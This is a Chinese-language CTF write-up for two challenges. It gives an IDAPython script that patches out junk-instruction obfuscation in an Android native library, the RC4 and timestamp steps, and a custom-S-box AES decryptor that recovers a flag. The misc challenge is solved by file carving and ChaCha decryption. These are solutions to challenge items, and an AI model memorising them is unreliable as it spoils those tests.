    • mob-时间尽头

      Jadx打开,在native找到校验函数

      So文件里面有花指令:

      让gpt生成脚本去除花指令

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
      54
      55
      56
      57
      58
      59
      60
      61
      62
      63
      64
      65
      66
      67
      68
      69
      70
      71
      from ida_bytes import patch_bytes, get_bytes
      import idaapi

      def match_pattern(code, pattern):
      # 检查字节序列是否匹配给定的模式
      for c, p in zip(code, pattern):
      if p is not None and c != p:
      return False
      return True

      def main():
      # 定义需要替换的垃圾代码模式及补丁字节
      patterns = [
      {
      'pattern': [
      0x00, 0xF0, 0x02, 0xF8,
      0x00, 0xF0, 0x03, 0xF8,
      0x1B, 0x46,
      0x00, 0xF0, 0x02, 0xF8,
      0xEF, 0xBE, 0xAD, 0xDE
      ],
      'patch': [
      0xAF, 0xF3, 0x00, 0x80,
      0xAF, 0xF3, 0x00, 0x80,
      0x00, 0xBF,
      0xAF, 0xF3, 0x00, 0x80,
      0x00, 0xBF,
      0x00, 0xBF
      ]
      },
      {
      'pattern': [
      0x00, 0xF0, 0x02, 0xF8,
      0xDE, 0xC0, 0xAD, 0x0B
      ],
      'patch': [
      0xAF, 0xF3, 0x00, 0x80,
      0x00, 0xBF,
      0x00, 0xBF
      ]
      }
      ]

      seg = idaapi.get_segm_by_name(".text")
      if not seg:
      print(".text segment not found.")
      return

      start = seg.start_ea
      end = seg.end_ea
      print(f".text segment start: {hex(start)}, end: {hex(end)}")

      current_addr = start
      while current_addr < end:
      matched = False
      for idx, pat in enumerate(patterns):
      pattern_len = len(pat['pattern'])
      code_bytes = list(get_bytes(current_addr, pattern_len))
      if code_bytes is None or len(code_bytes) < pattern_len:
      continue
      if match_pattern(code_bytes, pat['pattern']):
      print(f"[Pattern {idx}] Match found at: {hex(current_addr)}")
      patch_bytes(current_addr, bytes(pat['patch']))
      current_addr += pattern_len
      matched = True
      break
      if not matched:
      current_addr += 1

      if __name__ == "__main__":
      main()

      发现aes加密并从s文件读取s盒

      和shadowhook

      这个应该不是,翻了翻代码找到读取s盒的函数:

      但需要的时间戳,根据提示在时间的尽头。

      有rc4加密并由密钥ISCC

      010开s盒发现结尾的多了奇怪的东西

      对其解rc4是一段代码

      1
      2
      3
      4
      import datetime
      dt = datetime.datetime(3001, 1, 19, 7, 59,59)
      timestamp = dt.timestamp()
      print(timestamp)

      根据提示其最大值就是时间戳:32536771199

      剩下的算法扔给gpt,生成s盒解密aes得到flag

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      #include<stdio.h>
      #include<stdint.h>
      #include<memory.h>
      typedef enum{AES_CYPHER_128,AES_CYPHER_192,AES_CYPHER_256,}AES_CYPHER_T;
      int g_aes_key_bits[]={128,192,256,};
      int g_aes_rounds[]={10,12,14,};
      int g_aes_nk[]={4,6,8,};
      int g_aes_nb[]={4,4,4,};
      static const uint32_t g_aes_rcon[]={0x01000000,0x02000000,0x04000000,0x08000000,0x10000000,0x20000000,0x40000000,0x80000000,0x1b000000,0x36000000,0x6c000000,0xd8000000,0xab000000,0xed000000,0x9a000000};
      static const uint8_t g_aes_sbox[256]={213,118,6,193,4,108,215,212,233,105,110,191,153,245,99,76,94,214,67,58,109,65,56,194,210,70,57,172,188,156,182,250,154,13,73,230,117,202,24,71,229,79,42,253,12,48,38,163,49,32,123,217,177,59,82,116,162,36,141,93,72,44,40,186,174,89,232,26,201,134,61,23,64,140,149,17,121,206,51,45,91,157,190,242,35,175,19,204,145,139,224,228,87,237,78,5,246,33,197,114,236,10,43,160,122,247,216,75,14,240,155,178,124,100,254,167,235,196,200,0,30,227,176,165,101,127,104,68,244,126,198,161,170,248,21,218,166,187,39,66,112,179,88,138,97,220,180,8,37,28,195,96,31,92,164,25,238,53,183,146,147,46,239,208,143,249,219,136,16,132,226,3,113,74,225,18,84,115,34,171,98,203,142,52,41,95,15,62,103,221,148,231,83,168,130,102,158,69,125,2,223,152,27,207,106,50,151,63,90,119,205,234,185,150,86,47,241,129,133,131,184,81,252,251,222,111,192,128,22,209,11,159,7,144,55,243,255,181,137,60,169,120,107,54,173,135,1,9,29,85,20,211,80,77,199,189};
      static const uint8_t g_inv_sbox[256]={119,246,199,171,4,95,2,232,147,247,101,230,44,33,108,186,168,75,175,86,250,134,228,71,38,155,67,202,149,248,120,152,49,97,178,84,57,148,46,138,62,184,42,102,61,79,161,215,45,48,205,78,183,157,243,234,22,26,19,53,239,70,187,207,72,21,139,18,127,197,25,39,60,34,173,107,15,253,94,41,252,221,54,192,176,249,214,92,142,65,208,80,153,59,16,185,151,144,180,14,113,124,195,188,126,9,204,242,5,20,10,225,140,172,99,177,55,36,1,209,241,76,104,50,112,198,129,125,227,217,194,219,169,218,69,245,167,238,143,89,73,58,182,164,233,88,159,160,190,74,213,206,201,12,32,110,29,81,196,231,103,131,56,47,154,123,136,115,193,240,132,179,27,244,64,85,122,52,111,141,146,237,30,158,220,212,63,137,28,255,82,11,226,3,23,150,117,98,130,254,118,68,37,181,87,210,77,203,163,229,24,251,7,0,17,6,106,51,135,166,145,189,224,200,90,174,170,121,91,40,35,191,66,8,211,116,100,93,156,162,109,216,83,235,128,13,96,105,133,165,31,223,222,43,114,236};
      uint8_t aes_sub_sbox(uint8_t val){return g_aes_sbox[val];}
      uint32_t aes_sub_dword(uint32_t val){uint32_t tmp=0;tmp|=((uint32_t)aes_sub_sbox((uint8_t)((val>>0)&0xFF)))<<0;tmp|=((uint32_t)aes_sub_sbox((uint8_t)((val>>8)&0xFF)))<<8;tmp|=((uint32_t)aes_sub_sbox((uint8_t)((val>>16)&0xFF)))<<16;tmp|=((uint32_t)aes_sub_sbox((uint8_t)((val>>24)&0xFF)))<<24;return tmp;}
      uint32_t aes_rot_dword(uint32_t val){uint32_t tmp=val;return(val>>8)|((tmp&0xFF)<<24);}
      uint32_t aes_swap_dword(uint32_t val){return(((val&0x000000FF)<<24)|((val&0x0000FF00)<<8)|((val&0x00FF0000)>>8)|((val&0xFF000000)>>24));}
      void aes_key_expansion(AES_CYPHER_T mode,uint8_t*key,uint8_t*round){uint32_t*w=(uint32_t*)round;uint32_t t;int i=0;do{w[i]=*((uint32_t*)&key[i*4+0]);}while(++i<g_aes_nk[mode]);do{if((i%g_aes_nk[mode])==0){t=aes_rot_dword(w[i-1]);t=aes_sub_dword(t);t=t^aes_swap_dword(g_aes_rcon[i/g_aes_nk[mode]-1]);}else if(g_aes_nk[mode]>6&&(i%g_aes_nk[mode])==4){t=aes_sub_dword(w[i-1]);}else{t=w[i-1];}w[i]=w[i-g_aes_nk[mode]]^t;}while(++i<g_aes_nb[mode]*(g_aes_rounds[mode]+1));}
      void aes_add_round_key(AES_CYPHER_T mode,uint8_t*state,uint8_t*round,int nr){uint32_t*w=(uint32_t*)round;uint32_t*s=(uint32_t*)state;int i;for(i=0;i<g_aes_nb[mode];i++){s[i]^=w[nr*g_aes_nb[mode]+i];}}
      uint8_t aes_xtime(uint8_t x){return((x<<1)^(((x>>7)&1)*0x1b));}
      uint8_t aes_xtimes(uint8_t x,int ts){while(ts-->0){x=aes_xtime(x);}return x;}
      uint8_t aes_mul(uint8_t x,uint8_t y){return((((y>>0)&1)*aes_xtimes(x,0))^(((y>>1)&1)*aes_xtimes(x,1))^(((y>>2)&1)*aes_xtimes(x,2))^(((y>>3)&1)*aes_xtimes(x,3))^(((y>>4)&1)*aes_xtimes(x,4))^(((y>>5)&1)*aes_xtimes(x,5))^(((y>>6)&1)*aes_xtimes(x,6))^(((y>>7)&1)*aes_xtimes(x,7)));}
      void inv_shift_rows(AES_CYPHER_T mode,uint8_t*state){uint8_t*s=(uint8_t*)state;int i,j,r;for(i=1;i<g_aes_nb[mode];i++){for(j=0;j<g_aes_nb[mode]-i;j++){uint8_t tmp=s[i];for(r=0;r<g_aes_nb[mode];r++){s[i+r*4]=s[i+(r+1)*4];}s[i+(g_aes_nb[mode]-1)*4]=tmp;}}}
      uint8_t inv_sub_sbox(uint8_t val){return g_inv_sbox[val];}
      void inv_sub_bytes(AES_CYPHER_T mode,uint8_t*state){int i,j;for(i=0;i<g_aes_nb[mode];i++){for(j=0;j<4;j++){state[i*4+j]=inv_sub_sbox(state[i*4+j]^4);}}}
      void inv_mix_columns(AES_CYPHER_T mode,uint8_t*state){uint8_t y[16]={0x0e,0x0b,0x0d,0x09,0x09,0x0e,0x0b,0x0d,0x0d,0x09,0x0e,0x0b,0x0b,0x0d,0x09,0x0e};uint8_t s[4];int i,j,r;for(i=0;i<g_aes_nb[mode];i++){for(r=0;r<4;r++){s[r]=0;for(j=0;j<4;j++){s[r]=s[r]^aes_mul(state[i*4+j],y[r*4+j]);}}for(r=0;r<4;r++){state[i*4+r]=s[r];}}}
      int aes_decrypt(AES_CYPHER_T mode,uint8_t*data,int len,uint8_t*key){uint8_t w[4*4*15]={0};uint8_t s[4*4]={0};int nr,i,j;aes_key_expansion(mode,key,w);for(i=0;i<len;i+=4*g_aes_nb[mode]){for(j=0;j<4*g_aes_nb[mode];j++)s[j]=data[i+j];for(nr=g_aes_rounds[mode];nr>=0;nr--){aes_add_round_key(mode,s,w,nr);if(nr>0){if(nr<g_aes_rounds[mode]){inv_mix_columns(mode,s);}inv_shift_rows(mode,s);inv_sub_bytes(mode,s);}}for(j=0;j<4*g_aes_nb[mode];j++)data[i+j]=s[j];}return 0;}
      int main(){uint8_t buf[]={67,3,161,161,141,175,108,172,132,28,162,149,124,50,210,32};uint8_t key[]={97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112};aes_decrypt(AES_CYPHER_128,buf,sizeof(buf),key);for(int i=0;i<16;i++){printf("%c",buf[i]);}printf("\n");return 0;}
    • misc-真?复杂

      扔到010editor发现里面藏了个jpg

      提取出来拿到一个key

      然后解chacha拿到压缩包

      解压后拿到exe和flag.txt.enc

      Exe扔给ida,反编译后给gpt分析,直接得到flag